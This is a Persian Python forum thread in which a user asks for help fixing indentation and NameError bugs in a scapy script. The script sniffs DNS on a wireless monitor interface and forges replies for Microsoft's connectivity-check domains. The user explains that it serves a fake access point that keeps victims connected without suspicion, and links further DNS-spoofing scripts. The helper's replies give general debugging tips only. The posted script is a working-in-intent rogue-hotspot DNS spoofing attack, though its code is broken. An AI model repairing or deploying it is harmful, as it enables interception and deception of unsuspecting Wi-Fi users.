انجمن پایتون فارسی

    • نام‌نویسی
    • درون آمدن
    • جستجو
    • دسته‌بندی‌ها
    • تازه‌ها
    • برچسب‌ها
    • دوست‌داشتنی‌ها
    • کاربران
    • گروه‌ها

    مشکل IndentationError: expected an indented fix

    پرسش و پاسخ
    2
    10
    763
    بارگذاری پست‌های بیش‌تر
    • قدیمی‌ترین به جدید‌ترین
    • جدید‌ترین به قدیمی‌ترین
    • بیشترین رای ها
    پاسخ
    • پاسخ به موضوع
    وارد شوید تا پست بفرستید
    این موضوع پاک شده است. تنها کاربرانِ با حق مدیریت موضوع می‌توانند آن را ببینند.
    • A
      axa آخرین ویرایش توسط axa انجام شده

      سلام و عرض ادب
      من در اجرای این اسکریپت مشکلی دارم و خطای زیر را دریافت می‌کنم
      IndentationError: expected an indented fix

      بنظر مشکل از tab ها و فاصله ها هست
      متاسفانه نتونستم اصلاحش کنم
      ممنون میشم کمکم کنید

      کد

      from scapy.all import *
      DIR=os.path.dirname(os.path.abspath(__file__))
      print('Executed from '+DIR+'\n')
      print('Assuming interface wlan0mon')
      
      def FakeAccess2(pkt):
          pkt=pkt[0]
          if pkt.haslayer(DNSQR):
              print('Packet with DNSQR layer found.')
          if pkt[DNS].qd.qtype == 1:
              print('DNSQR type appears type = A')
          if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
          #MUST RETURN TRUE VALUE!    
              print('It appears captured DNS request requests dns.msftncsi.com')  
          spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
          IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
          an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=64, rdata='131.107.255.255'))
          del pkt[IP].chksum
          del pkt[UDP].chksum
          # replace your Fake AP interface with 'wlan0mon'
          sendp(spoofed_pkt,iface='wlan0mon')
              print('Spoofed response send:')
          spoofed_pkt.show2()
      
          if 'www' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:  
      #MUST POINT TO SERVER WITH connecttest.txt; ISTO NARED ZA IPV6
              print('It appears captured DNS request requests www.msftconnecttest.com')  
          spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
          IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
      # 192.168.1.254 mora bit GW nastiman za dhcp
          an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=64, rdata='192.168.1.254'))
          del pkt[IP].chksum
          del pkt[UDP].chksum
      
          sendp(spoofed_pkt,iface='wlan0mon')
              print('Spoofed response send:')
          spoofed_pkt.show2()
      
          else:
              print('Wrong DNS.qd.qname :'+pkt[DNS].qd.qname)
      
          if pkt[DNS].qd.qtype == 28:
              print('DNSQR type appears type = AAAA')
          if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
          #MUST RETURN TRUE VALUE
              print('AAAA DNS request for dns.msftncsi.com found, loop works')
          spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
          IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
          an=DNSRR(rrname=pkt[DNS].qd.qname, type=28, ttl=64, rdata='fd3e:4f5a:5b81::1'))
          
          del pkt[IP].chksum
          del pkt[UDP].chksum
      
          sendp(spoofed_pkt,iface='wlan0mon')
          print('Spoofed response send:')
          spoofed_pkt.show2()
      
          if 'dns' not in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname:
      #MUST RETURN TRUE VALUE
              print('AAAA DNS request for www.msftncsi.com found, loop works')
          spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\
          IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
          an=DNSRR(rrname=pkt[DNS].qd.qname, type=28, ttl=64, rdata='fe80::ea94:f6ff:fe24:d147'))
          #RDATA JE IPV6 OD wlan0mon
          del pkt[IP].chksum
          del pkt[UDP].chksum
      
          sendp(spoofed_pkt,iface='wlan0mon')
              print('Spoofed response send:')
          spoofed_pkt.show2()
      
          else:
              print('Captured packet has no DNSQR')
      
              print('Sniffing...')
      sniff(filter='dst port 53',prn=FakeAccess2, store=0, count=0, iface='wlan0mon')
      
      
      
      1 پاسخ آخرین پاسخ پاسخ نقل قول 0
      • س
        سعید فضل اله زاده آخرین ویرایش توسط انجام شده

        با سلام و عرض ادب

        خطای IndentationError خطای indent نداشتن هست و ربطی به تب و فاصله ندارد.
        در یک یا چند بلوک شما ایندنت نکردید که مفسر پایتون به شما خطا داده است.
        متوجه مشکل ایندنت در کد شما نشدم راستش اما به نظرم لاین 61 شاید باشه.

        یک بار دیگه کد رو ران کنید ببینید مفسر به چه خطی خطا میده و اون جا باید اون خط رو جلو ببرید و فاصله بدید بهش.

        Pyth on Python :)

        1 پاسخ آخرین پاسخ پاسخ نقل قول 1
        • س
          سعید فضل اله زاده آخرین ویرایش توسط انجام شده

          البته ممکن هم هست میکس تب و فاصله باشه.
          اگر که مایل بودید فایل .py کد تون رو در سایت up.rashn.net آپلود کنید و بعد اطلاع بدید که چک کنم.
          یا هم در ادیتوری مثل vs code یا atom ببینید میکس تب و فاصله دارید یا خیر.

          Pyth on Python :)

          1 پاسخ آخرین پاسخ پاسخ نقل قول 1
          • A
            axa آخرین ویرایش توسط انجام شده

            ممنونم از اینکه توجه کردید
            متاسفانه توسعه دهنده اسکریپت در دسترس نیست وگرنه مزاحم شما نمیشدم
            اسکریپت را در مسیر زیر آپلود کردم
            https://up.rashn.net/uploads/34234420.ncsifix.py.txt
            از سایت آنلاین کمک گرفتم و مشکل فاصله را حل کردم
            در خط های 43 و 77 خطا دریافت کردم که بنظر میگفت نباید else داشته باشید من آن خط را حذف کردم و آن خطا رفه شد
            اما در خط 8 خطا دریافت کردم
            Traceback (most recent call last):
            File “ncsifix.py”, line 8, in <module>
            if pkt.haslayer(DNSQR):
            NameError: name ‘pkt’ is not defined

            ممنون میشم اسکریپت را تست کنید
            لازمه اجرای اسکریپت داشتن لینوکس و نصب بسته scapy هست
            راجع به اسکریپت
            کار این اسکریپت جعل dns ویندوز هست
            زمانی که تارگت در ویندوز خودش به اکسس پوینت جعلی (هات اسپات) ما متصل میشه، اگر ما دسترسی اینترنت به او ندهیم خطای no internect connetion در زیر کانکشن خود مشاهده می‌کنه
            همین مورد باعث شک او میشه و از اکسس پوینت جدا می‌شه. خوب محقق اسکریپت، مسیری که باعث این خطا میشه را پیدا کرده و با استفاده از ابزار scapy قصد داره اون آدرس را جعل کنه.
            لطف می‌کنید اسکریپت را از روی متن بررسی کنید

            1 پاسخ آخرین پاسخ پاسخ نقل قول 1
            • س
              سعید فضل اله زاده آخرین ویرایش توسط انجام شده

              سلام
              ارور لاین ۸ مربوط به این هست که متغیر pkt تعریف نشده. این رو در ماژولی که ایمپورت کردید یک چک بکنید.
              من فعلا دسترسی به سیستم برای تست ندارم اما حتما تست می‌کنم.

              Pyth on Python :)

              1 پاسخ آخرین پاسخ پاسخ نقل قول 0
              • A
                axa آخرین ویرایش توسط axa انجام شده

                سلام ممنونم، متاسفانه من در این زمینه دانش لازم را ندارم

                1 پاسخ آخرین پاسخ پاسخ نقل قول 0
                • س
                  سعید فضل اله زاده آخرین ویرایش توسط انجام شده

                  پاسخ: مشکل IndentationError: expected an indented fix
                  سلام
                  https://up.rashn.net/uploads/109109703.ncsifix-.py.txt
                  یک سری تغییرات براتون اعمال کردم مثل این که بلوک else داشتید که چند خط کد بعد از if دیگه indent نداشتند و باعث مشکل می شد.

                  اما خطای زیر رو که میده یعنی توی ماژول چنین چیزی من ندیدم تعریف شده باشه:

                  if pkt.haslayer(DNSQR):
                  NameError: name 'pkt' is not defined
                  

                  کمی داکیومنت های این ماژول رو خوندم اما متوجه نشدم که چرا داره خطا میده.

                  توی فروم های خارجی هم اگر می تونید بپرسید. چون من با این ماژول کار نکردم شاید راه حلش رو ندونم و کسی که کار کرده باشه اطلاع داشته باشه.

                  اگر که راه حلش رو پیدا کردم بهتون اطلاع میدم. شما هم لطفا اگر راهی پیدا کردید اطلاع بدید که ما هم مطلع بشیم.

                  Pyth on Python :)

                  1 پاسخ آخرین پاسخ پاسخ نقل قول 1
                  • A
                    axa آخرین ویرایش توسط axa انجام شده

                    ممنونم محبت کردید
                    من در فرم پایتون خارجی این مورد را پرسیدم و مشکل if را اطلاع دادند

                    To which if does the else on line 43 belong? Probably to the if in line 27. But this if ends on line 30 because “spoofed_pkt” is not indented anymore. So this else belongs to nothing.

                    https://python-forum.io/Thread-error-IndentationError-expected-an-indented-block
                    از چندتا از توسعه دهندگان چنین اسکریپت‌هایی هم سوال کردم اما هنوز پاسخ ندادند

                    اما اسکریپتی پیدا کردم که داخلش چنین کدی استفاده شده بود
                    https://github.com/x4nth055/pythoncode-tutorials/blob/master/scapy/dns-spoof/dns_spoof.py
                    https://github.com/mpostument/hacking_tools/blob/master/dns_spoof/dns_spoof.py

                    ممنون میشم نگاهی به این اسکریپت‌ها بیندازید

                    1 پاسخ آخرین پاسخ پاسخ نقل قول 0
                    • س
                      سعید فضل اله زاده آخرین ویرایش توسط انجام شده

                      سلام

                      نگاه کردم اما متوجهش نشدم راستش.
                      می تونید در سایت stackoverflow هم سوال رو بپرسید. و اگر هم مایل بودید لینک هم بدید من هم ببینم که مشکل چطور رفع میشه.

                      Pyth on Python :)

                      1 پاسخ آخرین پاسخ پاسخ نقل قول 1
                      • A
                        axa آخرین ویرایش توسط axa انجام شده

                        سلام
                        ممنونم از اینکه زمان گذاشتید و توجه کردید
                        حتما روش فیکس شدنش را در انتهای تاپیک قرار میدم
                        بازم ممنونم و همیشه موفق باشید

                        1 پاسخ آخرین پاسخ پاسخ نقل قول 1
                        • 1 / 1
                        • اولین پست
                          آخرین پست
                        قدرت گرفته از NodeBB | میزبانی شده روی سرور مجازی در مازندهاست